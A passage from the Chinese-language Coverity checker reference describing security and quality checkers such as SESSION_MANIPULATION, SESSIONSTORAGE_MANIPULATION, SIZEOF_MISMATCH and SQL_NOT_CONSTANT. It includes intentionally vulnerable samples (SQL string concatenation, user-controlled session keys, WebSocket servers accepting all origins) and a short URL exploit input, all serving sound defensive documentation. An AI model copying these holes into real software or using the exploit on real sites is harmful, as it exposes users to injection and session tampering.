
本部分描述了 SESSION_FIXATION 检查器生成的一个或多个事件。

- sink - (主要事件) 识别被污染的数据到达数据消费者的位置。
- remediation - 提供关于修复安全漏洞的信息。

数据流事件

- member_init - 使用被污染的数据创建类实例同时用被污染的数据初始化其成员。
- object_construction - 使用被污染的数据创建类实例。
- subclass - 创建了类实例以用作超类。
- taint_alias - 为被污染的对象设置了别名。
- taint_path - 将被污染的值赋值给本地变量。
- taint_path_arg - 将被污染的值作为方法的参数。
- taint_path_attr - [仅限 Java] 将被污染的值存储为包含页面、请求、会话或应用程序范围的 Web 应用程序属性。
- taint_path_call - 此方法调用返回被污染的值。
- taint_path_field - 将被污染的值赋值给一个字段。
- taint_path_map_read - 从映射中读取被污染的值。

- `taint_path_map_write` - 将被污染的值写入映射。
- `taint_path_param` - 调用方将被污染的参数作为参数传递给此方法。
- `taint_path_return` - 当前方法返回被污染的值。
- `tainted_source` - 被污染值所起源的方法。

4.286. SESSION_MANIPULATION

安全检查器

4.286.1. 概述

支持的语言：. Ruby

Web 会话将状态添加到 HTTP 协议中，以便始终如一地标识用户。通常，这些会话由存储在 Web cookie 中或 Web 服务器上的键值对组成。

`SESSION_MANIPULATION` 缺陷表明使用了不受控制的动态数据指定会话中的密钥。攻击者可能会使用这些缺陷来操纵他们的会话：例如，更改他们的用户或升级他们的特权。

默认启用：`SESSION_MANIPULATION` 默认启用。有关启用/禁用详情和选项，请参阅Section 1.2，“启用和禁用检查器”。

4.286.2. 缺陷剖析

当使用用户控制的数据来设置会话属性的密钥时，`SESSION_MANIPULATION` 会报告缺陷。

4.286.3. 示例

本部分提供了一个或多个 `SESSION_MANIPULATION` 示例。

下面的 Ruby on Rails 示例展示了在会话存储中使用 HTTP 请求值作为密钥的情况。

```
class ExampleController < ApplicationController
  def show
    session[params[:session_key]] = params[:session_value]
  end
end
```

4.287. SESSIONSTORAGE_MANIPULATION

安全检查器

4.287.1. 概述

支持的语言：. JavaScript、TypeScript

SESSIONSTORAGE_MANIPULATION 报告以下客户端 JavaScript 代码中的缺陷：使用用户控制的字符串在 sessionStorage 中构造密钥。此类代码可能允许攻击者通过重写存储在敏感密钥中的数据或通过添加新密钥来更改应用程序的行为。

默认禁用： SESSIONSTORAGE_MANIPULATION 默认禁用。要启用它，您可以在 cov-analyze 命令中使用 --enable 选项。

Web 应用程序安全检查器启用：要启用 SESSIONSTORAGE_MANIPULATION 以及其他 Web 应用程序检查器，请使用 --webapp-security 选项。

这是被污染的数据检查器。有关更多信息，请参阅“Section 6.8, “被污染的数据概述””。

4.287.2. 缺陷剖析

SESSIONSTORAGE_MANIPULATION 缺陷显示不可信（被污染）数据形成 sessionStorage 中的密钥名称的数据流路径。该路径从不可信数据源开始，例如攻击者可能控制的 URL 的属性（例如 window.location.hash）或者来自其他框架的数据。在此处开始，缺陷中的各种事件说明了此被污染数据如何在程序中流动，例如从函数调用的参数到被调用函数的参数。该路径的最终部分显示数据流入 sessionStorage 中的密钥名称。

4.287.3. 示例

本部分提供了一个或多个 SESSIONSTORAGE_MANIPULATION 示例。

如果攻击者将 shoppingCartItem 请求参数设置为 userid，则调用 sessionStorage.setItem 将重写 sessionStorage 中的 userid 密钥。

```
function extract(str, key) {
    if (str == null) return '';
    var keyStart = str.indexOf(key + "=");
    if (-1 === keyStart) return '';
    var valStart = 1 + str.indexOf("=", keyStart);
    var valEnd = str.indexOf("&", keyStart);
    var val = -1 === valEnd ? str.substring(valStart) : str.substring(valStart, valEnd);
    return val;
}

function init() {
    sessionStorage.setItem("userid", 1001);

    var h = location.search.substring(1);
    if (h.indexOf("shoppingCartItem=") >= 0) {
        var itemName = extract(h, "shoppingCartItem");
        var storedQuantity = sessionStorage.getItem(itemName);
        var previousQuantity =
            (storedQuantity === undefined) ? 0 : parseInt(storedQuantity);
        sessionStorage.setItem(itemName, previousQuantity + 1);
    }

    console.log(sessionStorage.getItem("userid"));
}
```

```
window.onload = init;
```

利用示例：将以下代码段追加至页面 URL 可以更改 sessionStorage 中存储的 userid 值。

```
?shoppingCartItem=userid
```

4.287.4. 选项

本部分描述了一个或多个 SESSIONSTORAGE_MANIPULATION 选项。

您可以设置特定检查器选项值，方法是使用 cov-analyze 命令的 --checker-option 来传递这些值。有关详细信息，请参阅《Coverity 命令说明书》。

- SESSIONSTORAGE_MANIPULATION:distrust_all:<boolean> - 将此选项设置为 true 等同于将此检查器的所有 trust_* 检查器选项设置为 false。默认值为 SESSIONSTORAGE_MANIPULATION:distrust_all:false。

如果将 cov-analyze 命令的 --webapp-security-aggressiveness-level 选项设置为 high，则该检查器选项会自动设置为 true。

- SESSIONSTORAGE_MANIPULATION:trust_js_client_cookie:<boolean> - 如果将此选项设置为 false，则分析不会信任来自客户端 JavaScript 代码中的 cookie 的数据，例如来自 document.cookie。此选项之前称为 trust_client_cookie。默认值为 SESSIONSTORAGE_MANIPULATION:trust_js_client_cookie:true。
- SESSIONSTORAGE_MANIPULATION:trust_js_client_external:<boolean> - 如果将此选项设置为 false，则分析不会信任来自 XMLHttpRequest 的响应的数据或客户端 JavaScript 代码中的类似数据。请注意：此选项之前称为 trust_external。默认值为 SESSIONSTORAGE_MANIPULATION:trust_js_client_external:false。
- SESSIONSTORAGE_MANIPULATION:trust_js_client_html_element:<boolean> - 如果将此选项设置为 false，则分析不会信任来自 HTML 元素中用户输入的数据，例如客户端 JavaScript 代码中的 textarea 和 input 元素。默认值为 SESSIONSTORAGE_MANIPULATION:trust_js_client_html_element:true。
- SESSIONSTORAGE_MANIPULATION:trust_js_client_http_header:<boolean> - 如果将此选项设置为 false，则分析不会信任来自 XMLHttpRequest 的响应的 HTTP 响应头文件的数据或客户端 JavaScript 代码中的类似数据。默认值为 SESSIONSTORAGE_MANIPULATION:trust_js_client_http_header:true。
- SESSIONSTORAGE_MANIPULATION:trust_js_client_other_origin:<boolean> - 如果将此选项设置为 false，则分析不会信任来自客户端 JavaScript 代码中其他框架或其他源中内容的数据，例如来自 window.name。默认值为 SESSIONSTORAGE_MANIPULATION:trust_js_client_other_origin:false。
- SESSIONSTORAGE_MANIPULATION:trust_js_client_url_query_or_fragment:<boolean> - 如果将此选项设置为 false，则分析不会信任来自客户端 JavaScript 代码中查询或 URL 的片段部分的数据，例如来自 location.hash 或 location.query。默认值为 SESSIONSTORAGE_MANIPULATION:trust_js_client_url_query_or_fragment:false。

- SESSIONSTORAGE_MANIPULATION:trust_js_client_storage:<boolean>
- 如果将此选项设置为 false，则分析不会信任来自客户端 JavaScript 代码中 HTML 客户端存储对象 localStorage 和 sessionStorage 的数据。默认值为 SESSIONSTORAGE_MANIPULATION:trust_js_client_storage:true。
- SESSIONSTORAGE_MANIPULATION:trust_mobile_other_app:<boolean> - 将此选项设置为 true 会导致分析信任以下数据：从不需要获取权限即可与当前应用程序组件通信的任何移动应用程序收到的数据。默认值为 SESSIONSTORAGE_MANIPULATION:trust_mobile_other_app:false。设置此检查器选项会覆盖全局 --trust-mobile-other-app 和 --distrust-mobile-other-app 命令行选项。
- SESSIONSTORAGE_MANIPULATION:trust_mobile_other_privileged_app:<boolean>
- 将此选项设置为 false 会导致分析将以下数据视为被污染数据：从需要获取权限才可与当前应用程序组件通信的任何移动应用程序收到的数据。默认值为 SESSIONSTORAGE_MANIPULATION:trust_mobile_other_privileged_app:true。设置此检查器选项会覆盖全局 --trust-mobile-other-privileged-app 和 --distrust-mobile-other-privileged-app 命令行选项。
- SESSIONSTORAGE_MANIPULATION:trust_mobile_same_app:<boolean> - 将此选项设置为 false 会导致分析将从同一移动应用程序收到的数据视为被污染数据。默认值为 SESSIONSTORAGE_MANIPULATION:trust_mobile_same_app:true。设置此检查器选项会覆盖全局 --trust-mobile-same-app 和 --distrust-mobile-same-app 命令行选项。
- SESSIONSTORAGE_MANIPULATION:trust_mobile_user_input:<boolean> - 将此选项设置为 true 会导致分析将从用户输入获取的数据视为未被污染的数据。默认值为 SESSIONSTORAGE_MANIPULATION:trust_mobile_user_input:false。设置此检查器选项会覆盖全局 --trust-mobile-user-input 和 --distrust-mobile-user-input 命令行选项。

4.288. SIGN_EXTENSION

质量检查器

4.288.1. 概述

支持的语言： C、C++、Objective-C、Objective-C++

SIGN_EXTENSION 查找值在从较小的数据类型转换到较大的数据类型时被执行了符号扩展，但似乎原本并不打算进行符号扩展（因为数量实际上无符号）的很多情况。这种情况最常发生在执行 32 位字节序交换（将结果存储在 64 位数据类型中）的代码中。必须将这一 32 位的中间结果显式转换为无符号的类型，才能抑制符号扩展。

具体说来，该检查器可查找以下条件为 true 的情况：

- 无符号的数量被隐式扩展为较宽的带符号数量。
- 执行了可能导致 sign 位被设置为 1 的算术运算（例如左移）。
- 值被隐式转换为较宽的类型，这可能导致非正常的符号扩展。

符号扩展的后果是结果值将其所有高位设置为 1，进而被解译为非常大的值。如果这不是故意为之，则该代码很可能通过程序特有的方式执行了错误的行为。

默认启用 : `SIGN_EXTENSION` 默认启用。有关启用/禁用详情和选项，请参阅Section 1.2, “启用和禁用检查器”。

4.288.2. 示例

本部分提供了一个或多个 `SIGN_EXTENSION` 示例。

在下面的示例中，本意是为了将字节 `p[0..3]` 解译为小端字节序格式的无符号整数（第一字节 `p[0]` 为最低有效位）：

```
unsigned long readLittleEndian(unsigned char *p)
{
    return p[0] |
        (p[1] << 8) |
        (p[2] << 16) |
        (p[3] << 24);
}
```

但是，如果 `unsigned long` 大于 `int`，则该代码中存在一定的错误（64 位 Linux 系统如此）。`p[3] << 24` 中的左侧参数具有类型 `unsigned char`，但在使用之前被扩展为 `int`，这是移位的结果类型。如果设置了 `p[3]` 的高位（即 `p[3]` 大于 127），则得到的整数值会设置高位并获得左移运算的结果。然后通过其他字节值对该值执行位或运算。最后，`int` 值及其高位设置被转换为 `unsigned long`，这需要首先对值进行符号扩展（因此，当该值被重新转换回带符号的类型时，将会恢复为原始值）。

语言规则因运算符而异，但总的来说，会首先扩展算术运算的参数，这意味着会选择来自可以代表原始类型中所有值的 `int`、`unsigned int`、`long` 和 `unsigned long` 中的第一个类型作为被扩展的类型。实际上，对于典型的类型大小，`char` 和 `short` 类型（带符号和无符号）会被扩展为 `int`，所有其他类型不受扩展的影响。有关更多信息，请参阅 C++03 标准（第 4.5、5/9 和 5.9/2 节）或 C99 标准（第 6.3.1.1、6.3.1.8 和 6.5.7/3 节）。

因此，下面的程序（使用以前的 `readLittleEndian` 定义）在机器上显示 "0xFFFFFFFF80010203" 而不是预期的 "0x80010203"，其中 `int` 是 32 位，`long` 是 64 位：

```
#include <stdio.h>           // printf
int main()
{
    unsigned char bytes[4] = { 0x03, 0x02, 0x01, 0x80 };
    unsigned long result = readLittleEndian(bytes);
    printf("0x%lx\n", result);
}
```

要修正此问题，请向不带符号的类型添加显式转换。虽然存在多个可以进行转换的位置，但其中一个示例是：

```
unsigned long readLittleEndianFixed(unsigned char *p)
{
```

```
return (unsigned int)( p[0] |
    (p[1] << 8) |
    (p[2] << 16) |
    (p[3] << 24));
}
```

4.288.3. 选项

本部分描述了一个或多个 `SIGN_EXTENSION` 选项。

您可以设置特定检查器选项值，方法是使用 `cov-analyze` 命令的 `--checker-option` 来传递这些值。有关详细信息，请参阅《Coverity 命令说明书》。

- `SIGN_EXTENSION:require_unsigned_dest:<boolean>` - 当此选项被设置为 `true` 时，符号扩展转换的结果类型必须无符号才会被报告为缺陷。默认值为 `SIGN_EXTENSION:require_unsigned_dest:false`

4.288.4. 事件

本部分描述了 `SIGN_EXTENSION` 检查器生成的一个或多个事件。

- `sign_extension` - 可疑的隐式符号扩展（显示原始表达式和中间表达式）。

4.289. SINGLETON_RACE

质量、安全检查器

4.289.1. 概述

支持的语言：. Java

`SINGLETON_RACE` 可查找单一对象可以通过不同线程（例如 `servlet`）同时处理多个请求，但处理请求的代码不能安全地同步对类的实例或静态字段进行访问的很多情况。该检查器会将这些线程不安全更新报告为缺陷。

该检查器会报告以下类中的缺陷：

- 类扩展了 `org.springframework.web.servlet.mvc.Controller`（这表明它是 Spring MVC 控制器）。
- 类具有注解 `org.springframework.stereotype.Controller`（这是指定 Spring MVC 控制器的另一种方法）。
- 类扩展了 `javax.servlet.Servlet`。

4.289.2. 示例

本部分提供了一个或多个 `SINGLETON_RACE` 示例。

在下面的示例中，两个独立的请求可以同时读取 `i` 的值，因此会将 `i` 的值只增加一，而预期的结果是将其值按请求数增加（在此示例中为二）。

更新来自单例类的静态字段时会发生类似的问题。在该示例中，`j` 包含竞态条件。

这些竞态条件可以通过多种不同的方式解决：

- 使用同步构造，这在 Web 应用程序上下文中可能代价高昂。
- 重新设计类以便不在其中保存任何状态，并且作为请求的一部分或通过其他应用程序特定机制来维护所有数据。

```
class SampleObject {
    int n;
    void foo() {
        n++;
    }
}

@Controller
class ExampleController {
    SampleObject i;
    static int j;

    @RequestMapping("/process")
    String process () {
        i.foo();      //defect here
        j--;         //defect here
        return "test";
    }
}
```

4.289.3. 事件

本部分描述了 `SINGLETON_RACE` 检查器生成的一个或多个事件。

- `unsafe_modification`：在未执行正确同步的情况下修改了 `this.<fieldname>`（或 `<Classname>.<fieldname>`，如果是静态）。此成员可能被处理并发请求的多个线程写入，导致不可预测的行为。
- `thread_unsafe_modification`：在未正确同步的情况下修改了 `<fieldname>`。

4.290. SIZECHECK

质量检查器

4.290.1. 概述

支持的语言：. C、C++、Objective-C、Objective-C++

自版本 7.0 起已废弃：SIZECHECK 查找关于指针指定内存分配（其中指针的目标类型大于分配的代码块）的很多情况。例如，如果为 long 的指针指定了一个代码块，则是指 int 的大小。请注意，检查器选项可扩大此检查器查找的缺陷范围。

如果指针指向的代码块太小，则尝试使用它可能引用越界内存，而这种情况可能导致堆损坏、程序崩溃以及其他严重问题。

SIZECHECK 错报是由于错误计算了已分配的内存量或者应该分配的内存量引起的。如果 SIZECHECK 错误地分析了返回堆分配内存的函数，您可以使用库调用正确地为函数的抽象行为建模。如果错报是由于误解特定于环境的属性导致的，您可以使用 //coverity 注释对该属性进行注解。请参阅使用代码行注解减少误报。

默认禁用：SIZECHECK 默认禁用。要启用它，您可以在 cov-analyze 命令中使用 --enable 选项。

4.290.2. 示例

在下面的示例中，分配对于指针的目标类型而言太小：sizeof(*ptr) 可能是特意为之。

```
struct sizecheck_example_t {
    int n;
    float f;
    char s[4];
    void *p;
};

struct sizecheck_example_t *sizecheck_example(void) {
    struct sizecheck_example_t *ptr;
    ptr = (sizecheck_example_t *)malloc( sizeof( ptr ) );
    return ptr;
}
```

4.290.3. 选项

本部分描述了一个或多个 SIZECHECK 选项。

您可以设置特定检查器选项值，方法是使用 cov-analyze 命令的 --checker-option 来传递这些值。有关详细信息，请参阅《Coverity 命令说明书》。

- SIZECHECK:improper_new:<boolean> - 可查找对 new() 使用了错误语法的缺陷。默认值为 SIZECHECK:improper_new:false

例如，下面的代码分配了一个字节，并为其赋值 32：

```
char *p = new char(32);
```

- SIZECHECK:incorrect_multiplication:<boolean> - 可查找使用大小与指针目标类型不同的常量的倍数计算已分配内存的缺陷。默认值为 SIZECHECK:incorrect_multiplication:true

例如：

```
long *p = malloc(len * sizeof(int));
```

由于 `sizeof(int)` 与 `sizeof(long)` 不同，因此将报告缺陷。

- SIZECHECK:ampersand_in_size:<boolean> - 可查找使用位与运算符 (&) 和两个数量计算已分配内存的缺陷。默认值为 `SIZECHECK:ampersand_in_size:true`

例如：

```
int *p = malloc(len & sizeof(int));
```

此缺陷可能是由于 & 和 * 在键盘上的位置相邻造成的。

4.290.4. 事件

本部分描述了 SIZECHECK 检查器生成的一个或多个事件。

- buffer_alloc - 分配了已知大小的缓冲区。
- size_event - 分配大小不正确，将会报告错误。
- size_is_strlen - 分配器的长度参数是对 `strlen` 的调用。通常情况下，如果在大小参数中使用了 `strlen`，应该在执行分配之前为结果加 1。

4.291. SIZEOF_MISMATCH

质量检查器

4.291.1. 概述

支持的语言：. C、C++、Objective-C、Objective-C++

SIZEOF_MISMATCH 可查找看似不匹配的指针和 `sizeof` 表达式的组合。当指针和 `sizeof` 表达式一起出现时，`sizeof` 表达式通常是指针指向的内存的大小。

该检查器还会报告期望获得 `size_t` 参数但未提供 `sizeof` 表达式这种有限情况下的缺陷。当函数的语言已知并且期望 `size_t` 参数等于指针所指向内存的大小时，以及在看似 `size_t` 参数预期等于某个所指向内存的大小的少数情况下，就会发生此类缺陷。

此检查器会报告以下指针和 `sizeof` 表达式的组合：

- 函数参数和返回值
- 指针算术运算中的多余 `sizeof` 表达式

下面的示例包含两个函数参数之间的常见不匹配：指针和 `sizeof` 表达式（其中原本期望 `sizeof(*ptr)`，而不是 `sizeof(ptr)`）：

```
memcpy(&obj, ptr, sizeof(ptr))
```

下面的示例包含 64 位机器上的指针和 `size_t` 之间的不匹配，其中未提供 `sizeof` 表达式（原本期望指针的大小 (8) 或整数的指针 (*i)）：

```
int **i;
memset(i, 0, 4);
```

当向指针添加偏移后，偏移的值会自动增加（乘以）指针所指向对象的大小。通过将偏移乘以 `sizeof` 表达式显式增加是错误做法。这会导致偏移增加偏移量的平方倍。

此外，通过用两个指针之间的差除以 `sizeof` 表达式来显式缩小该差也是错误做法。这两种类型的构造都会被报告为缺陷。

下图直观展示了指针算术运算的缩放：

```
short array[5];
short *p = array; // == &array[0]
// p -> b b
//     b b
//     b b
//     b b
//     b b

short *q = p + 3; // == &p[3] == &array[3]
//     b b
//     b b
//     b b
// q -> b b
//     b b

short *r = p + 3 * sizeof(short); // == &p[3 * sizeof(short)] == &p[3 * 2]
== &p[6] == &array[6]
//     b b
//     ? ? out of bounds
// r -> ? ? out of bounds
```

之前几种类型的缺陷可在指针算术运算表达式内直接检测；如果将两个指针之间的差与 `sizeof` 表达式进行比较，也可以间接检测。

除了特定的缓冲区越界情况以外，无法明确地推断出此检查器报告的任何指定缺陷构成程序缺陷。在大多数情况下，一些异常处理可能是特意为之。因此，您应该先仔细检查所有 `SIZEOF_MISMATCH` 缺陷，然后再尝试修复它们。在很多情况下，缺陷报告包括该检查器对于代码的真正目的以及做出哪些更改可以修复缺陷的最佳猜测。这些建议是有根据的猜测，只是建议。您必须确定代码的行为、是否确实存在缺陷以及正确的修复方式（如果是缺陷）。

默认启用：`SIZEOF_MISMATCH` 默认启用。有关启用/禁用详情和选项，请参阅Section 1.2，“启用和禁用检查器”。

4.291.2. 示例

本部分提供了一个或多个 `SIZEOF_MISMATCH` 示例。

在下面的示例中，只为 100 字节的对象 buf 清除了 4 或 8 个字节。BAD_SIZEOF 检查器也会报告这一特定缺陷：

```
struct buffer {
    char b[100];
};

void f() {
    struct buffer buf;
    memset(&buf, 0, sizeof(&buf)); /* Defect: should have been "sizeof(buf)" */
}
```

在下面的示例中，只为 100 字节的对象分配了 4 或 8 个字节。

```
struct buffer {
    char b[100];
};

void f() {
    struct buffer *p = (struct buffer *)malloc(sizeof(struct buffer *));
    /* Defect: should be "sizeof(struct buffer)" */
}
```

在下面的示例中，不会报告缺陷，因为虽然 f 的 sizeof(short) 参数与 &ps 参数不匹配，但它与 &s 参数匹配：

```
void f(void *, void **, size_t);

void g() {
    short s;
    short *ps;

    f(&s, &ps, sizeof(short));
}
```

在下面的示例中，指针 p 递增了 10,000 字节，而不是期望的 100 字节：

```
struct buffer {
    char b[100];
};

void f(struct buffer *p) {
    p += sizeof(struct buffer); /* Defect: "sizeof(struct buffer)" should be "1" */
}
```

在下面的示例中，将 q 和 p 之间的差与它们所指向类型的大小相比较很可能是不正确的，因为该指针差自动缩小了此量：

```
struct buffer {
    char b[100];
};

void f(struct buffer *p, struct buffer *q) {
```

```

if (q - p > 3 * sizeof(*p)) /* Defect: "* sizeof(*p)" is extraneous */
    printf("q too far ahead of p\n");
}

```

在下面的示例中，`cur` 和 `array` 之间的差自动缩小了 `sizeof(struct buffer)`（生成了在数组中的位置），因此进一步用该值除以 `sizeof(struct buffer)` 的结果始终是零：

```

struct buffer {
    char b[100];
};

struct buffer array[30];

void f(struct buffer *cur) {
    size_t pos = (cur - array) / sizeof(struct buffer); /* Defect: "/ sizeof(struct
    buffer)" is extraneous */
}

```

4.291.3. 选项

本部分描述了一个或多个 `SIZEOF_MISMATCH` 选项。

您可以设置特定检查器选项值，方法是使用 `cov-analyze` 命令的 `--checker-option` 来传递这些值。有关详细信息，请参阅《Coverity 命令说明书》。

- `SIZEOF_MISMATCH:strict_memcpy:<boolean>` - 如果此选项被设置为 `true`，该检查器将报告 `memcpy(dest, src, n)` 的函数参数之间不匹配的缺陷。此类不匹配可能发生在 `n` 和 `dest` 或者 `n` 和 `src` 之间。默认值为 `SIZEOF_MISMATCH:strict_memcpy:false`

4.291.4. 事件

本部分描述了 `SIZEOF_MISMATCH` 检查器生成的一个或多个事件。

- `suspicious_sizeof` - 后续行以有问题的方式将 `sizeof` 表达式与指针参数或返回值组合到一起。
- `suspicious_pointer_arithmetic` - 后续行以有问题的方式将 `sizeof` 表达式加到指针表达式中或将其中去除。
- `suspicious_comparison` - 后续行以有问题的方式将指针差表达式与 `sizeof` 表达式进行比较。
- `suspicious_division` - 后续行以有问题的方式用指针差表达式除以 `sizeof` 表达式。

4.292. SLEEP

质量、并发检查器

4.292.1. 概述

支持的语言：. C、C++、Go、Objective-C、Objective-C++

`SLEEP` 查找在持有锁/互斥锁时调用了睡眠函数的很多情况。这会阻止其他线程在该锁被释放之前继续尝试获取同一个锁，这可能需要较长时间，进而导致性能下降甚至是死锁。在将至少一个原语函数建模为睡

眠之前，SLEEP 不会报告任何情况。即使是 POSIX sleep 函数，也无法通过这种方式为其建模。此检查器的实用性因代码库不同而存在巨大差异，这与一组正确的“睡眠”函数差不多。

对阻塞函数（例如偶尔执行阻塞但不是在所有情况下都执行阻塞的函数）的错误推导是导致误报最主要的原因。您可以通过正确指明函数行为的模型来解决此类问题，或使用注解抑制块模型。该注解应该抑制 blocks 属性。

要报告任何结果，SLEEP 检查器需要使用 `__coverity_sleep__()` 原语建模。有关更多信息，请参阅 Section 5.1.12.1，“添加模型进行并发检查”。

默认禁用：SLEEP 默认禁用。要启用它，您可以在 cov-analyze 命令中使用 `--enable` 选项。

并发检查器启用：要同时启用 SLEEP 以及其他默认禁用的并发检查器，请在 cov-analyze 命令中使用 `--concurrency` 选项。

4.292.2. 示例

本部分提供了一个或多个 SLEEP 示例。

4.292.2.1. C 语言

```
void mutex_acquire(int *p) {
    __coverity_exclusive_lock_acquire__(*p);
}
void mutex_release(int *p) {
    __coverity_exclusive_lock_release__(*p);
}
int my_accept(int i) {
    __coverity_sleep__();
    return i;
}

int *connection_count_lock;
int fd, socket_fd, connection_count;

// BUG (locks are exclusive)

// Thread one enters here
int block_example( ) {
    mutex_acquire(connection_count_lock); // Lock acquired too soon
    fd = my_accept(socket_fd);           // Can wait for a long time
    connection_count++;
    mutex_release(connection_count_lock); // Now info() can run
    return fd;
}

// Thread two enters here
void info( ) {

    mutex_acquire(connection_count_lock); /* Cannot proceed,
                                             thread one holds lock */
}
```

```

printf("The connection count is %d\n", connection_count);
    mutex_release(connection_count_lock);
}

// NOT BUG (recursive lock)
void rec_mutex_acquire(int *p) {
    __coverity_recursive_lock_acquire__(*p);
}
void rec_mutex_release(int *p) {
    __coverity_recursive_lock_acquire__(*p);
}

int example2A( ) {
    rec_mutex_acquire(connection_count_lock);
    fd = my_accept(socket_fd);
    connection_count++;
    rec_mutex_release(connection_count_lock);
    return fd;
}

void example2B( ) {
    rec_mutex_acquire(connection_count_lock);
    printf("The connection count is %d\n", connection_count);
    rec_mutex_release(connection_count_lock);
}

```

4.292.2.2. Go

在下面的示例中，直到睡眠计时器到期，`sleepWhileLocked` 函数释放锁之后，其他线程才能访问共享资源。

```

type SharedResource struct {
    mutex sync.Mutex
    resource int
}

var myResource SharedResource

func sleepWhileLocked() {
    myResource.mutex.Lock()
    time.Sleep(100 * time.Millisecond); //defect
    myResource.mutex.Unlock()
}

```

4.292.3. 事件

本部分描述了 SLEEP 检查器生成的一个或多个事件。

- `lock_acquire` : 获取了锁。
- `sleep` : 调用了睡眠函数。

4.293. SOCKET_ACCEPT_ALL_ORIGINS

安全检查器

4.293.1. 概述

支持的语言：. Go、JavaScript、TypeScript

SOCKET_ACCEPT_ALL_ORIGINS 检查器查找 WebSocket 服务器被配置为接受来自所有源的请求的情况。接受来自所有源的 WebSocket 连接允许具有网络级别访问权限的任何人连接到服务器，从而可能耗尽服务器端资源以创造拒绝服务条件或从服务器访问敏感信息。

在以下情况下，该检查器无法计算选项的值：

- 如果选项来自外部文件，则使用 `require`。该检查器将假设使用了不安全的默认值，并将报告一个误报，以防文件实际包含 `origins` 的安全设置。
- 如果选项是函数的结果。该检查器将假设使用了不安全的默认值，并将报告一个误报，以防函数返回包含 `origins` 的安全设置的选项对象。

对于 JavaScript 和 TypeScript，SOCKET_ACCEPT_ALL_ORIGINS 检查器查找 `socket.io` 实例被配置为允许来自任何源的连接的情况。如果 `origins` 被设置为通配符，或者如果 `origins` 字段在 `options` 参数中被忽略，这会导致使用默认通配符值 `*`，该检查器会报告缺陷。最好将 `origins` 显式地设置为将连接到服务器的受信任源集。您可以在构造函数中或通过 `origins()` 方法这样做。



Note

如果在构造函数中以及使用 `origins()` 方法都配置了源，则最后一次调用将重写之前的 `origins` 值。该检查器不执行这种类型的分析，每次单独配置 `origins` 时都将标记。在下面的示例中，源没有在构造函数中配置，但它们在方法中配置。构造函数问题会导致服务器使用不安全的默认设置，但是，源在方法中配置，并且应用程序是安全的。该检查器仍标记构造函数调用，并报告一个误报。

```
var options = {maxHttpBufferSize: 0xFFFFFFFF};
    // No origins are configured in the previous declaration, so the default
    applies

var Server = require('socket.io')
var serv = new Server(server, options); // no defect
serv.origins(['chat.demo.com:3000',
    'https://example.com:1234']); // no defect
```

对于 Go 语言，SOCKET_ACCEPT_ALL_ORIGINS 检查器标记 `github.com/gorilla/websocket` 数据包的 `Upgrader.CheckOrigin()` 函数总是返回 `true` 的情况。

默认对 JavaScript、TypeScript 禁用：SOCKET_ACCEPT_ALL_ORIGINS 对 JavaSc 默认禁用。要启用它，可以在 `cov-analyze` 命令中使用 `--enable` 选项。

Web 应用程序安全检查器启用：要启用 SOCKET_ACCEPT_ALL_ORIGINS 以及其他 Web 应用程序检查器，请使用 `--webapp-security` 选项。

默认对 Go 启用 : SOCKET_ACCEPT_ALL_ORIGINS 默认对 Go 语言启用。

4.293.2. 示例

本部分提供了一个或多个 SOCKET_ACCEPT_ALL_ORIGINS 示例。

4.293.2.1. JavaScript/TypeScript

在下面的示例中，应用程序创建了 Socket.IO 服务器，该服务器接受来自任何源的连接。将针对实例化 Socket.IO 服务器的语句显示 SOCKET_ACCEPT_ALL_ORIGINS 缺陷。

```
var server = require('http').createServer(app);
var io = require('socket.io')
var ioserver = new io(server, {origins: '*:*'});      // defect here
```

4.293.2.2. Go

在下面的示例中，针对 `github.com/gorilla/websocket` 数据包中始终返回 `true` 的 `Upgrader.CheckOrigin()` 函数，显示了 SOCKET_ACCEPT_ALL_ORIGINS 缺陷。

```
package main

import (
    "net/http"
    gorillaWebsocket "github.com/gorilla/websocket"
)

var upGrader = gorillaWebsocket.Upgrader{
    CheckOrigin: func(r *http.Request) bool {
        return true           // defect here
    },
    EnableCompression: true,
}
```

4.294. SQL_NOT_CONSTANT

安全审计检查器

4.294.1. 概述

支持的语言 : . Java、C#、Visual Basic

此 SQL_NOT_CONSTANT 检查器报告非常量值连接成 SQL 命令或查询字符串的所有情况。最佳做法是使用参数化查询来合并动态值，无论它们是否来自可信数据源。参数化可防止任何恶意或非法值改变 SQL 命令的意图。使用 SQL_NOT_CONSTANT 检查器是防止您的代码出现 SQL 注入漏洞的一种方法。

如果通过分析确定动态值来自不可信来源，则会报告“高影响”的 SQLI 缺陷。

默认禁用 : SQL_NOT_CONSTANT 默认禁用。要启用它，您可以在 cov-analyze 命令中使用 --enable 选项。

安全审计启用：要与其他安全审计功能一起启用 SQL_NOT_CONSTANT，请使用 --enable-audit-mode 选项。启用审计模式对检查器有其他作用。有关更多信息，请参阅《Coverity 命令说明》中对 cov-analyze 命令的描述。

4.294.2. 缺陷剖析

SQL_NOT_CONSTANT 缺陷的主要事件是 SQL 命令和动态值的连接。该缺陷描述了将此命令传递给数据库 API 的位置。

4.294.3. 示例

本部分提供了一个或多个 SQL_NOT_CONSTANT 示例。

4.294.3.1. Java

下面的代码片段构造了一个 PreparedStatement 来执行 SQL 查询。不推荐这样使用 PreparedStatement，因为它将动态值直接连接成命令字符串，而不是使用其参数化功能。此检查器在这里报告三个缺陷：groupId 变量的连接、parentFolderId 变量的连接以及 name 变量的连接。

```
Connection dbConnection = null;
PreparedStatement stmt = null;
ResultSet result = null;

try {
    dbConnection = DataAccess.getConnection();
    stmt = dbConnection.prepareStatement(
        "select folderId from DLFolder where groupId = " + groupId +
        " and parentFolderId = " + parentFolderId +
        " and name = '" + name + "'");

    result = ps.executeQuery();
}
// ...
```

4.294.3.2. C#

以下 C# 方法使用一个非常量 id 参数来构造 SQL 查询。

```
public SqlDataAdapter getIdAdapter(String id)
{
    String command = "SELECT * FROM TABLE WHERE id =" + id;

    const string connectionString = "...";
    return new SqlDataAdapter(command, connectionString);
}
```

4.294.3.3. Visual Basic

以下 Visual Basic 子程序使用一个非常量 addrName 参数来构建 SQL 更新命令。

```

Public Sub IncrAddrCount(addrName as String)
    Dim sqlCon = New SqlConnection("Data source=....")
    sqlCon.Open()

    Dim sqlText as String = "UPDATE addrTable SET clickCount " & _
        "WHERE addrName = " + addrName

    Dim cmd = New SqlCommand(sqlText, sqlCon)
    cmd.ExecuteNonQuery()
End Sub

```

4.295. SQLI

安全检查器

4.295.1. 概述

支持的语言：. C、C++、C#、Go、Java、JavaScript、Kotlin、Objective-C、Objective-C+ +、PHP、Python、Ruby、Swift、TypeScript、Visual Basic

